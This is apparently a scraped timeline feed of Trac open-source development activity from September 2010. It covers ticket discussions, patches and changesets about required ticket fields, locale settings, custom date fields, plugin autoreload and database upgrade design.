Context Navigation

← Previous Period
Next Period →

Timeline

09/05/10: Today

11:39 InsideTrac: Trac - Ticket #2463 (Mandatory fields in tickets) updated by Mark Mc Mahon <mark.mcmahon@…>: This latest patch adds required fields when creating a ticket also. I had a look at the Genshi template 'ticket.html' and when the required fields are passed in the data to the template it should be easy enough to add '*' or change the format to the required fields. <pre class="wiki">* Description:</label></th> </pre> Any input appreciated.
10:59 InsideTrac: Trac - add_required_fields_inclde_new_ticket.patch attached to Ticket #2463 by Mark Mc Mahon <mark.mcmahon@…>: Add
02:43 InsideTrac: Trac - Ticket #9484 ([PATCH] textarea formatting problems in TracNotification) updated by rblank: Owner, Milestone changed
01:01 InsideTrac: Trac - Ticket #9098 (Provide separate Tickets opened, Tickets closed checkboxes on timeline) updated by Ryan Ollos <ryano@…>: Replying to <a href="http://trac.edgewall.org/ticket/9098#comment:4" title="Comment 4 for Ticket #9098">cboos</a>: <blockquote class="citation"> I'm not sure it's worth making the timeline filters more complex ... </blockquote> That sounds like a good solution, though it looks to be a bit more complex and will take me a bit longer to implement. I'll probably tackle a few more simple tickets before I try to take on this one.

09/04/10: Yesterday

17:50 InsideTrac: Trac - Ticket #7650 (authz_policy.py - Support Trac groups) updated by gw.trac@…: Lennart, your patch is really ugly and even more hackish. First of all it contains SQL code and can't resolve groups as members of groups and doesn't support other authentication backends, second it is a little inefficient (upper case filtering can also be done inside SQL) and the biggest problem is that it contains a possible security hole (I hope you have heard of SQL injections, therefore don't build strings with SQL code in a brain damaged PHP-like way)! Anyway, an improved and correctly working version of my initial patch can be found on <a class="ext-link" href="http://gw.tnode.com/0149-TracDevelopment/"> http://gw.tnode.com/0149-TracDevelopment/</a>. It also works with different authentication backends and resolves groups as members of groups.
17:38 InsideTrac: Trac - Ticket #7650 (authz_policy.py - Support Trac groups) updated by Mitar: Cc changed
12:31 InsideTrac: Trac - Ticket #2463 (Mandatory fields in tickets) updated by rblank: Owner, Priority, Milestone changed Required fields dependent on the workflow? Interesting idea! There would indeed need to be an additional list for ticket creation, as that was the original request. Making that list apply to all workflow transitions makes sense to me.
12:26 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:11" title="Comment 11 for Ticket #8117">cboos</a>: <blockquote class="citation"> Ok to apply? </blockquote> I haven't had a chance to test it yet either, but it reads well here, too. So yes, please go ahead.
12:25 InsideTrac: Trac - Ticket #2463 (Mandatory fields in tickets) updated by Mark Mc Mahon <mark.mcmahon@…>: Cc changed (adding comment so that "Add to Cc" is not flagged as spam.
12:23 InsideTrac: Trac - preliminary_required_fields_change.patch attached to Ticket #2463 by Mark Mc Mahon <mark.mcmahon@…>: Very first attempt at implementing required ticket fields
12:22 InsideTrac: Trac - Ticket #2463 (Mandatory fields in tickets) updated by Mark Mc Mahon <mark.mcmahon@…>: I tried to throw something together for this. It currently is a very basic patch that works in the following way: <ul><li>You define in the trac.ini file which fields are required for which workflow actions e.g. <pre class="wiki"> accept.required_fields = component,version </pre></li><li>When validating the ticket on submission these fields are checked not to be empty. </li></ul> Problems with this patch: <ul><li>No tests </li><li>No documentation </li><li>No handling of required fields when creating a new ticket (my proposal here is to have a list of required fields in the [ticket] configuration section which would always be required (so new and every other state) </li></ul> I would appreciate feedback as to whether this is the right approach before doing much more work on it. (for example - the code to retrieve the workflow actions in _validate_ticket() seem over complicated - maybe there is an easier way?
12:21 InsideTrac: Trac - Ticket #1942 ([patch] Add support for date type in custom ticket fields) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/1942#comment:35" title="Comment 35 for Ticket #1942">cboos</a>: <blockquote class="citation"> i.e. in a functional way, as usual with the "to_xx" functions, it's not intuitive to see it modify the argument in place, and hence have to pass a copy in order to avoid it. Seems better to do the copy in the <tt>_to_db_types</tt> itself or to have a non-functional <tt>_convert_for_db</tt>. </blockquote> I remember thinking about exactly that, and deciding to do the copy outside of the function, but I can't remember why. I think I expected one call not to need a copy, but it turned out not to be the case. So yes, will fix. <blockquote class="citation"> Regarding the <a class="wiki" href="http://trac.edgewall.org/wiki/BitBucket">BitBucket</a> interface, is there a way to do a diff from the base of the branch to its tip so that I could see the changes as whole? If not, that would be a good reason to make a local copy visible here. </blockquote> No idea, I'm actually not using <a class="wiki" href="http://trac.edgewall.org/wiki/BitBucket">BitBucket</a> that much, except as a storage location. So yes, it might be a good idea to set up a clone here. Thanks for the review!
10:39 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by osimons: Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:11" title="Comment 11 for Ticket #8117">cboos</a>: <blockquote class="citation"> Ok to apply? </blockquote> Haven't actually tried the patches, but they read well... I'd like to see this committed.
07:19 InsideTrac: Trac - WikiFormatting edited by cboos: <a class="wiki" href="http://trac.edgewall.org/wiki/WikiFormatting?version=99#Headings">#Headings</a>: fix formatting glitch (<a href="http://trac.edgewall.org/wiki/WikiFormatting?action=diff&version=99">diff</a>)
07:02 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by cboos: Keywords changed Ok to apply?
05:39 InsideTrac: Trac - Ticket #1942 ([patch] Add support for date type in custom ticket fields) updated by cboos: Quick review of <tt>8482b53eb2c0</tt>: looks quite good now! About <tt>Ticket._to_db_types</tt> in , as it's meant to be used that way: <div class="code"><pre> values = self._to_db_types(self.values.copy()) </pre></div> i.e. in a functional way, as usual with the "to_xx" functions, it's not intuitive to see it modify the argument in place, and hence have to pass a copy in order to avoid it. Seems better to do the copy in the <tt>_to_db_types</tt> itself or to have a non-functional <tt>_convert_for_db</tt>. For the default timezone in notifications, maybe we could add an <tt>Environment.default_timezone</tt> helper method which would return the timezone for the <tt>[trac] default_timezone</tt> value or the localtz if nothing is defined (a bit like <tt>RequestDispatcher._get_timezone</tt> but not caring about the tz in the session). Regarding the <a class="wiki" href="http://trac.edgewall.org/wiki/BitBucket">BitBucket</a> interface, is there a way to do a diff from the base of the branch to its tip so that I could see the changes as whole? If not, that would be a good reason to make a local copy visible here.

09/03/10:

19:36 InsideTrac: Trac - Ticket #1942 ([patch] Add support for date type in custom ticket fields) updated by rblank: I have done a first round of simplifications (pushed to BB). A few issues still to work on: <ul><li>An invalid value in a time field currently causes a <tt>TracError</tt> to be displayed. It would be nicer to show a warning. </li><li>In notifications, the time fields are formatted with the local timezone of the server. This may not be adequate, and we should at least use the default timezone if defined. </li><li>A few unit tests and functional tests would be nice. </li></ul>
17:16 InsideTrac: Trac - Ticket #9603 (Can not create new project) updated by cboos: (sorry, I just deleted by mistake the mail you sent to Trac-users; please resubmit)
16:00 InsideTrac: Trac - Ticket #9603 (Can not create new project) closed by rblank: cantfix: This is an <a class="wiki" href="http://trac.edgewall.org/wiki/InstallationIssue">InstallationIssue</a>.
15:53 InsideTrac: Trac - Ticket #9603 (Can not create new project) updated by anonymous: this is whatt i get in putty Creating a new Trac environment at /path/xxxxx Trac will first ask a few questions about your environment in order to initalize and prepare the project database. <blockquote> Please enter the name of your project. This name will be used in page titles and descriptions. </blockquote> Project Name [My Project]> project1 <blockquote> Please specify the connection string for the database to use. By default, a local SQLite database is created in the environment directory. It is also possible to use an already existing PostgreSQL database (check the Trac documentation for the exact connection string syntax). </blockquote> Database connection string <a class="ext-link" href="http://www.sqlite.org/cvstrac/wiki?p=db/trac.db" title="db/trac.db page in the CvsTrac for SQLite"> db/trac.db</a>> <blockquote> Please specify the type of version control system, By default, it will be svn. </blockquote> <blockquote> If you don't want to use Trac with version control integration, choose the default here and don't specify a repository directory. in the next question. </blockquote> Repository type [svn]> <blockquote> Please specify the absolute path to the version control repository, or leave it blank to use Trac without a repository. You can also set the repository location later. </blockquote> Path to repository <a href="http://trac.edgewall.org/path/to/repos">path/to/repos</a>> Creating and Initializing Project
15:53 InsideTrac: Trac - Ticket #9603 (Can not create new project) updated by anonymous: this is whatt i get in putty <pre class="wiki">Creating a new Trac environment at /path/xxxxx Trac will first ask a few questions about your environment in order to initalize and prepare the project database. Please enter the name of your project. This name will be used in page titles and descriptions. Project Name [My Project]> project1 Please specify the connection string for the database to use. By default, a local SQLite database is created in the environment directory. It is also possible to use an already existing PostgreSQL database (check the Trac documentation for the exact connection string syntax). Database connection string [sqlite:db/trac.db]> Please specify the type of version control system, By default, it will be svn. If you don't want to use Trac with version control integration, choose the default here and don't specify a repository directory. in the next question. Repository type [svn]> Please specify the absolute path to the version control repository, or leave it blank to use Trac without a repository. You can also set the repository location later. Path to repository [/path/to/repos]> Creating and Initializing Project </pre>
15:42 InsideTrac: Trac - Ticket #9603 (Can not create new project) created by anonymous: Hello I am trying to create my first Trac project. I have installed virtual python and Trac 0.11 on web server (Linux). Python 2.4 is instaleld on that server. Everything was completed successfully. Now when i try to create new project it asks for project name, db, svn and path to repository. After that it says "creating and initializing project" but it does not move from there. I never get next line where it should be "Installing default wiki pages". I tried several times but it's always the same. Please help. Thank you
13:47 InsideTrac: Trac - Changeset [10049]: eol-style fix by cboos: eol-style fix
13:45 InsideTrac: Trac - Changeset [10048]: eol-style fix by cboos: eol-style fix
12:12 InsideTrac: Trac - Ticket #1942 ([patch] Add support for date type in custom ticket fields) updated by rblank: Just a note that I have started working on this. I have rebased your mq patches onto current trunk, and applied them to the branch "ticket-1942" in my <a class="ext-link" href="http://bitbucket.org/rblank/trac"> work repository</a>. If you have any changes to do, please use that as a base.
12:08 InsideTrac: Trac - Ticket #7687 (Add support for svn:externals "1.5" style) updated by itamaro: I will gladly explain any misunderstood parts of my code, if anyone asks :-) and, of course, willing to refactor and refine the patch until it is fit for integration. It's just that I hoped this will go into 0.12.x, since I have started further work on other stuff that depend on this (e.g. <a class="new ticket" href="http://trac.edgewall.org/ticket/6474" title="enhancement: svn:externals displayed as folder in listing (new)">#6474</a>), and are defined as "enhancements", so if this happens only in 0.13 then the other stuff will have to wait for 0.14... Maybe, in the spirit of the dedicated branch you mention, it might be productive to group several browser-related tickets (from the top of my head: this one, <a class="new ticket" href="http://trac.edgewall.org/ticket/6474" title="enhancement: svn:externals displayed as folder in listing (new)">#6474</a>, <a class="new ticket" href="http://trac.edgewall.org/ticket/2695" title="enhancement: [PATCH] Pretty icons for various file types. (new)">#2695</a>) and give write-access to interested parties (such as myself :-) ). what do you think?
11:23 InsideTrac: Trac - Ticket #7687 (Add support for svn:externals "1.5" style) updated by cboos: Well, back then in June I tried to work on this, and I did a few further changes (some fixes, some simplifications), some more tests), but I remember also that I couldn't fully understand some parts of it. So I have the feeling that either the patch is not fully ready for integration or that I need further explanations. My intent was to create a branch starting with your patches, then mine, then refine the whole thing once more with your help.
11:11 InsideTrac: Trac - Ticket #7687 (Add support for svn:externals "1.5" style) updated by itamaro: Replying to <a href="http://trac.edgewall.org/ticket/7687#comment:48" title="Comment 48 for Ticket #7687">cboos</a>: Why wait for 0.13, with an existing patch?
11:11 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by anatoly techtonik <techtonik@…>: Added check for file presence. Manually checked that <a class="missing wiki" href="http://trac.edgewall.org/wiki/ZeroDivisionError" rel="nofollow">ZeroDivisionError?</a> stops autoreloading mechanizm. I assume that any unhandled run-time exception during the import (and hence execution) of module will do this.
11:07 InsideTrac: Trac - 9602.fix-autoreload-for-bad-plugins.2.diff attached to Ticket #9602 by anatoly techtonik <techtonik@…>: do not add files several times
10:59 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by anatoly techtonik <techtonik@…>: Replying to <a href="http://trac.edgewall.org/ticket/9602#comment:5" title="Comment 5 for Ticket #9602">cboos</a>: <blockquote class="citation"> Better add to a set than repeatedly append to a list... </blockquote> <tt>set</tt> was added in Python 2.4 and I believe Trac 0.11 is still Python 2.3 compatible. This should not be a problem as the loader fails only once for every imported file. <blockquote class="citation"> And don't you want to restrict that to SyntaxError exceptions? </blockquote> I am not sure that all errors that cause import failure are strictly syntax-related. For example, I get "Failed to load plugin" entry in trac.log for <a class="missing wiki" href="http://trac.edgewall.org/wiki/ZeroDivisionError" rel="nofollow">ZeroDivisionError?</a>.
10:54 InsideTrac: Trac - RoadMap edited by cboos: no 0.11.7.1 anymore (<a href="http://trac.edgewall.org/wiki/RoadMap?action=diff&version=44">diff</a>)
10:52 InsideTrac: Trac - Ticket #5566 (Postgresql admin security issue) reopened by cboos: Replying to <a href="http://trac.edgewall.org/ticket/5566#comment:8" title="Comment 8 for Ticket #5566">anonymous</a>: <blockquote class="citation"> Isn't this ticket just nonsense? It has nothing to do with trac-admin, but in general with Unix permissions and how you configured everything. </blockquote> Not just that. See <a href="http://trac.edgewall.org/ticket/5566#comment:6" title="Comment 6 for Ticket #5566">comment:6</a>.
10:48 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by cboos: Better add to a set than repeatedly append to a list... And don't you want to restrict that to SyntaxError exceptions?
10:46 InsideTrac: Trac - Ticket #6827 (trac.cgi missing in 0.11 setup??) closed by rblank: fixed
10:45 InsideTrac: Trac - 9602.fix-autoreload-for-bad-plugins.diff attached to Ticket #9602 by anatoly techtonik <techtonik@…>: autoreload fix
10:44 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by anatoly techtonik <techtonik@…>: Attaching patch for 0.11.7. Code Review link for those who knows <a class="ext-link" href="http://codereview.appspot.com/2131042/"> http://codereview.appspot.com/2131042/</a>
10:38 InsideTrac: Trac - Ticket #6827 (trac.cgi missing in 0.11 setup??) updated by cboos: Milestone changed Seems everything is now documented for 0.12 in <a class="wiki" href="http://trac.edgewall.org/wiki/TracInstall#GeneratingtheTraccgi-bindirectory">TracInstall#GeneratingtheTraccgi-bindirectory</a>. If there was anything else to do, please reopen.
10:33 InsideTrac: Trac - Ticket #8658 (AttributeError: 'ResourceSystem' object has no attribute ...) updated by cboos: Milestone changed Still, I wouldn't touch that in 0.12-stable, now.
10:30 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9571#comment:8" title="Comment 8 for Ticket #9571">rblank</a>: <blockquote class="citation"> <blockquote> So maybe it's not worth fixing the issue then, and just document that all the working paths of Trac (installation path, environment path, egg cache path, any others?) must only contain ASCII characters? </blockquote> </blockquote> Maybe, yes. But I would nevertheless first try your patch with a PYTHON_EGG_CACHE pointing to a non-ascii directory, and if everything just works...
10:28 InsideTrac: Trac - Ticket #9439 (KeyError: 'trac/locale') updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/9439#comment:10" title="Comment 10 for Ticket #9439">cboos</a>: <blockquote class="citation"> I'd like to try the approach of early instantiation of Locale objects, which would not only catch the fact they're not present at startup time and enable us to cope with the failure </blockquote> I don't remember what I meant there with "cope with the failure". Showing an explicit error message and exit? I don't think we can trigger a "re-install" (not to mention a deploy, for the js/messages).
10:22 InsideTrac: Trac - Ticket #8459 (svn:mergeinfo rendering is far too slow) updated by cboos: Sorry folks, I had no time to dig that issue further, new ideas and external contributions welcomed.
10:22 InsideTrac: Trac - Ticket #7687 (Add support for svn:externals "1.5" style) updated by cboos: Milestone changed
10:21 InsideTrac: Trac - Ticket #6348 (Catch database exceptions in a backend neutral way) updated by cboos: Keywords, Milestone changed Another postponing... Anyway, this didn't really fit in a minor release.
10:03 InsideTrac: Trac - 8117-trac-admin-default_language.patch attached to Ticket #8117 by cboos: trac-admin uses the default_language configured for the environment, if any; patch on top of <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/8117/8117-trac-default_language.patch" title="Attachment '8117-trac-default_language.patch' in Ticket #8117">8117-trac-default_language.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/8117/8117-trac-default_language.patch" title="Download"></a>
10:02 InsideTrac: Trac - 8117-trac-default_language.patch attached to Ticket #8117 by cboos: reworked <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/8117/patch_from_r7937.2.2.diff" title="Attachment 'patch_from_r7937.2.2.diff' in Ticket #8117">patch_from_r7937.2.2.diff</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/8117/patch_from_r7937.2.2.diff" title="Download"></a> in order to properly support values with undescores (e.g. 'zh_CN')
10:00 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:9" title="Comment 9 for Ticket #8117">rblank</a>: <blockquote class="citation"> Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:7" title="Comment 7 for Ticket #8117">cboos</a>: <blockquote class="citation"> I'd like to make an exception for this feature, and get it in <a class="milestone" href="http://trac.edgewall.org/milestone/0.12.1">0.12.1</a> nevertheless. </blockquote> He he, changed your mind? :) </blockquote> Personal reason ;-) But I'd really like that it remains an exception... <blockquote class="citation"> Any chance of using the same setting to set the language used by <tt>trac-admin</tt>? Currently, with my custom locale <tt>en_CH</tt>, <tt>trac-admin</tt> outputs text in German for some mysterious reason, even though German is mentioned nowhere in the locale. </blockquote> That's because of Babel, the following: <div class="code"><pre>>>> import babel >>> babel.Locale.default() </pre></div> must give you 'de'. <blockquote class="citation"> Being able to set it to "en" and having <tt>trac-admin</tt> talk to me in English would be awesome. </blockquote> Yup, see <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/8117/8117-trac-admin-default_language.patch" title="Attachment '8117-trac-admin-default_language.patch' in Ticket #8117">8117-trac-admin-default_language.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/8117/8117-trac-admin-default_language.patch" title="Download"></a>.
10:00 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by cboos: Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:9" title="Comment 9 for Ticket #8117">rblank</a>: <blockquote class="citation"> Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:7" title="Comment 7 for Ticket #8117">cboos</a>: <blockquote class="citation"> I'd like to make an exception for this feature, and get it in <a class="milestone" href="http://trac.edgewall.org/milestone/0.12.1">0.12.1</a> nevertheless. </blockquote> He he, changed your mind? :) </blockquote> Personal reason ;-) But I'd really like that it remains an exception... <blockquote class="citation"> Any chance of using the same setting to set the language used by <tt>trac-admin</tt>? Currently, with my custom locale <tt>en_CH</tt>, <tt>trac-admin</tt> outputs text in German for some mysterious reason, even though German is mentioned nowhere in the locale. </blockquote> That's because of Babel, the following: <div class="code"><pre>>>> import babel >>> babel.Locale.default() </pre></div> must give you 'de'. <blockquote class="citation"> Being able to set it to "en" and having <tt>trac-admin</tt> talk to me in English would be awesome. </blockquote> Yup, see <a class="missing attachment">8117-trac-admin-default_language.patch</a>.
09:16 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/8117#comment:7" title="Comment 7 for Ticket #8117">cboos</a>: <blockquote class="citation"> I'd like to make an exception for this feature, and get it in <a class="milestone" href="http://trac.edgewall.org/milestone/0.12.1">0.12.1</a> nevertheless. </blockquote> He he, changed your mind? :) Any chance of using the same setting to set the language used by <tt>trac-admin</tt>? Currently, with my custom locale <tt>en_CH</tt>, <tt>trac-admin</tt> outputs text in German for some mysterious reason, even though German is mentioned nowhere in the locale. Begin able to set it to "en" and having <tt>trac-admin</tt> talk to me in English would be awesome.
09:02 InsideTrac: Trac - Changeset [10047]: 0.13dev: Merged [10041:10046] from 0.12-stable. by rblank: 0.13dev: Merged <a class="source" href="http://trac.edgewall.org/log/?revs=10041-10046">[10041:10046]</a> from 0.12-stable.
09:01 InsideTrac: Trac - Ticket #9209 ([patch] add more lists to class Ticket, delete unneeded whitespace) updated by rblank: Owner changed
09:00 InsideTrac: Trac - Ticket #9209 ([patch] add more lists to class Ticket, delete unneeded whitespace) closed by rblank: fixed: Applied <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9209/add-ticket-class-var_to_ticket-model-py.3.patch" title="Attachment 'add-ticket-class-var_to_ticket-model-py.3.patch' in Ticket #9209">add-ticket-class-var_to_ticket-model-py.3.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9209/add-ticket-class-var_to_ticket-model-py.3.patch" title="Download"></a> to trunk in <a class="changeset" href="http://trac.edgewall.org/changeset/10045" title="0.13dev: Refactored the duplicate generation of the list of standard and ...">[10045]</a> and <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9209/cleanup_ticket-model-py.3.patch" title="Attachment 'cleanup_ticket-model-py.3.patch' in Ticket #9209">cleanup_ticket-model-py.3.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9209/cleanup_ticket-model-py.3.patch" title="Download"></a> to 0.12-stable in <a class="changeset" href="http://trac.edgewall.org/changeset/10046" title="0.12.1dev: Applied whitespace cleanup patch from Steffen Hoffmann in ...">[10046]</a> (to facilitate merging).
08:57 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by cboos: Keywords changed
08:55 InsideTrac: Trac - patch_from_r7937.2.2.diff attached to Ticket #8117 by cboos: <blockquote> enable a default language to be configured in <a class="wiki" href="http://trac.edgewall.org/wiki/TracIni">TracIni</a> (based on <a class="changeset" href="http://trac.edgewall.org/changeset/10044" title="0.12.1dev: Added two missing translation markers.">r10044</a>) </blockquote>
08:55 InsideTrac: Trac - Changeset [10046]: 0.12.1dev: Applied whitespace cleanup patch from Steffen Hoffmann in ... by rblank: 0.12.1dev: Applied whitespace cleanup patch from Steffen Hoffmann in <a class="closed ticket" href="http://trac.edgewall.org/ticket/9209" title="enhancement: [patch] add more lists to class Ticket, delete unneeded whitespace (closed: fixed)">#9209</a>.
08:55 InsideTrac: Trac - Changeset [10046]: 0.12.1dev: Applied whitespace cleanup patch from Steffen Hoffmann in ... by rblank: 0.12.1dev: Applied whitespace cleanup patch from Steffen Hoffmann in <a class="new ticket" href="http://trac.edgewall.org/ticket/9209" title="enhancement: [patch] add more lists to class Ticket, delete unneeded whitespace (new)">#9209</a>.
08:52 InsideTrac: Trac - Ticket #8117 (Default language setting in trac.ini) updated by cboos: Milestone changed I'd like to make an exception for this feature, and get it in <a class="milestone" href="http://trac.edgewall.org/milestone/0.12.1">0.12.1</a> nevertheless. Updated patch follows.
08:35 InsideTrac: Trac - Changeset [10045]: 0.13dev: Refactored the duplicate generation of the list of standard and ... by rblank: 0.13dev: Refactored the duplicate generation of the list of standard and custom fields in <tt>Ticket</tt>. Patch by Steffen Hoffmann. Part of <a class="closed ticket" href="http://trac.edgewall.org/ticket/9209" title="enhancement: [patch] add more lists to class Ticket, delete unneeded whitespace (closed: fixed)">#9209</a>.
08:35 InsideTrac: Trac - Changeset [10045]: 0.13dev: Refactored the duplicate generation of the list of standard and ... by rblank: 0.13dev: Refactored the duplicate generation of the list of standard and custom fields in <tt>Ticket</tt>. Patch by Steffen Hoffmann. Part of <a class="new ticket" href="http://trac.edgewall.org/ticket/9209" title="enhancement: [patch] add more lists to class Ticket, delete unneeded whitespace (new)">#9209</a>.
08:19 InsideTrac: Trac - MissingTranslations edited by cboos: note about <a href="http://trac.edgewall.org/ticket/MissingTranslations#comment:N" title="Comment N for Ticket #MissingTranslations">comment:N</a> (<a href="http://trac.edgewall.org/wiki/MissingTranslations?action=diff&version=31">diff</a>)
08:17 InsideTrac: Trac - Ticket #9354 ([patch] missing i18n for TicketClone demo plugin) updated by cboos: <div class="code"><pre>ticket['summary'] + _(" (cloned)") </pre></div> should be replaced by something like: <div class="code"><pre>_("%(summary)s (cloned)", summary=ticket['summary']) </pre></div>
08:11 InsideTrac: Trac - TracL10N edited by cboos: renamed <a class="wiki" href="http://trac.edgewall.org/wiki/TracTermTr">TracTermTr</a> -> <a class="wiki" href="http://trac.edgewall.org/wiki/TracTermsTr">TracTermsTr</a> (<a href="http://trac.edgewall.org/wiki/TracL10N?action=diff&version=110">diff</a>)
08:10 InsideTrac: Trac - TracTermTr edited by cboos: (<a href="http://trac.edgewall.org/wiki/TracTermTr?action=diff&version=2">diff</a>)
08:10 InsideTrac: Trac - TracTermTr created by cboos: <a class="wiki" href="http://trac.edgewall.org/wiki/TracTermsTr?version=4">TracTermTr</a> → <a class="wiki" href="http://trac.edgewall.org/wiki/TracTermsTr">TracTermsTr</a>.
08:01 InsideTrac: Trac - Ticket #8172 (Plugin db upgrade infrastructure) updated by osimons: Cc changed
07:59 InsideTrac: Trac - Ticket #8172 (Plugin db upgrade infrastructure) updated by osimons: <a class="new ticket" href="http://trac.edgewall.org/ticket/9222" title="enhancement: ">#9222</a>... Well, this is back to the core vs plugins vs future of Trac development... Personally I don't see the need for new interfaces either. I think the <tt>IEnvironmentSetupParticipant</tt> interface is perfectly capable of handling all kinds of upgrades. What is missing is, as also mentioned in <a class="new ticket" href="http://trac.edgewall.org/ticket/9222" title="enhancement: ">#9222</a>, moving upgrades into the various components parts of Trac and letting each self-contained part of Trac be responsible for its own upgrades. This was the original vision of the component code before things got more and more 'tangled' into each other. For a remaining example, see for instance how <tt>attachment.py</tt> implements the interface for the sole purpose of creating an 'attachments' folder for new projects. Naturally, the Trac core code can improve its (optional) services/functions/helpers for module and plugin upgrades - just don't invent a whole new infrastructure for this that will never be able to cover all needs anyway, IMHO.
07:42 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by rblank: Ah, right, I had forgotten about the egg cache. So maybe it's not worth fixing the issue then, and just document that all the working paths of Trac (installation path, environment path, egg cache path, any others?) must only contain ASCII characters?
07:23 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by cboos: As the filename derives from: <div class="code"><pre> pages_dir = pkg_resources.resource_filename('trac.wiki', 'default-pages') WikiAdmin(self.__env).load_pages(pages_dir) </pre></div> (in admin/console.py) I suspect that here the egg cache is located in <tt>C:\Users\<non ascii username>\App Data\Python-eggs</tt> (see <a class="ext-link" href="http://peak.telecommunity.com/DevCenter/PkgResources#platform-utilities"> http://peak.telecommunity.com/DevCenter/PkgResources#platform-utilities</a>), and I suspect that in this case, the present problem will only be the first of a long list...
07:09 InsideTrac: Trac - Changeset [10044]: 0.12.1dev: Added two missing translation markers. by rblank: 0.12.1dev: Added two missing translation markers.
07:03 InsideTrac: Trac - Ticket #9571 (Could not create new "InitEnv") updated by rblank: Owner, Component changed I suspect this happens when the path to imported wiki pages contains non-ASCII characters, but I don't seem to be able to reproduce this issue, at least on Linux. A possible fix is shown in <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9571/9571-path-to-unicode-r10043.patch" title="Attachment '9571-path-to-unicode-r10043.patch' in Ticket #9571">9571-path-to-unicode-r10043.patch</a><a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9571/9571-path-to-unicode-r10043.patch" title="Download"></a>, but to be honest I have no idea if this is the right approach. Feedback, testing and possibly more information by the OP would be appreciated.
07:00 InsideTrac: Trac - 9571-path-to-unicode-r10043.patch attached to Ticket #9571 by rblank: Possible fix.
06:47 InsideTrac: Trac - Ticket #9602 (auto-reload fail by design) updated by lkraav <leho@…>: Cc changed
06:40 InsideTrac: Trac - Ticket #9405 ([patch] add reminder to keep priority order for proper ticket coloring) closed by rblank: fixed: Slightly different wording applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10043" title="0.12.1dev: Added a note about the ordering of priorities being used for ...">[10043]</a>.
06:39 InsideTrac: Trac - Changeset [10043]: 0.12.1dev: Added a note about the ordering of priorities being used for ... by rblank: 0.12.1dev: Added a note about the ordering of priorities being used for coloring in ticket queries and reports. Patch by Steffen Hoffmann. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9405" title="enhancement: [patch] add reminder to keep priority order for proper ticket coloring (closed: fixed)">#9405</a>.
06:24 InsideTrac: Trac - Ticket #8172 (Plugin db upgrade infrastructure) updated by cboos: ... and yes, this would not only be useful for plugins, but also for core sub-systems, to get finer grained upgrades (see <a class="new ticket" href="http://trac.edgewall.org/ticket/9222" title="enhancement: ">#9222</a>).
06:23 InsideTrac: Trac - Ticket #8172 (Plugin db upgrade infrastructure) updated by cboos: I also think we don't need to inherit from an abstract component here. However, I'm not sure if it's worth to introduce a new interface, we could perhaps do as well with a set of helper methods (factoring out the code already in env.py and mixing it with some parts of the proposed patch).
05:56 InsideTrac: Trac - Ticket #9222 ("full delete" of wiki page could be a non-fatal operation) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/9222#comment:11" title="Comment 11 for Ticket #9222">cboos</a>: <blockquote class="citation"> I think we should find a more fine-grained way to do db uprades, for example each module that needs it could maintain its own db version (e.g. <tt>wiki_db_version</tt>). </blockquote> This is related to <a class="new ticket" href="http://trac.edgewall.org/ticket/8172" title="enhancement: Plugin db upgrade infrastructure (new)">#8172</a>.
05:37 InsideTrac: Trac - Ticket #9222 ("full delete" of wiki page could be a non-fatal operation) updated by cboos: Looks like a promising start... the next steps would be: <ul><li>we would need an upgrade step for the database to add the new column (but ... see below) </li><li>in the delete dialog, we would need to present the user with a choice to either physically delete the page, or to mark it as deleted (probably via a Purge from the database checkbox, with a hint explaining that a purge will remove all the history and there will be no "event" showing the deletion of a page) </li><li>the <tt>delete</tt> code should therefore keep the <tt>DELETE</tt> in addition to the new <tt>UPDATE</tt> (e.g. add a flag <tt>purge=False</tt>, if <tt>True</tt> do a <tt>DELETE</tt>) </li><li>we should really make sure that all the SQL dealing with the <tt>wiki</tt> table really knows about the <tt>deleted</tt> flag (e.g. timeline and search queries) </li></ul> Now some thoughts about the upgrade part. Trac 0.13dev will likely see a lot of db upgrades; doing them sequentially the "regular" way (incrementing <tt>system.database_version</tt>) will be problematic, as each branch will have its own <tt>db_version = 27</tt> (like <a class="source" href="http://trac.edgewall.org/browser/ticket-links/trac/db_default.py?rev=8191e68b9082">source:ticket-links/trac/db_default.py@8191e68b9082</a><a class="trac-rawlink" href="http://trac.edgewall.org/export/8191e68b9082/ticket-links/trac/db_default.py" 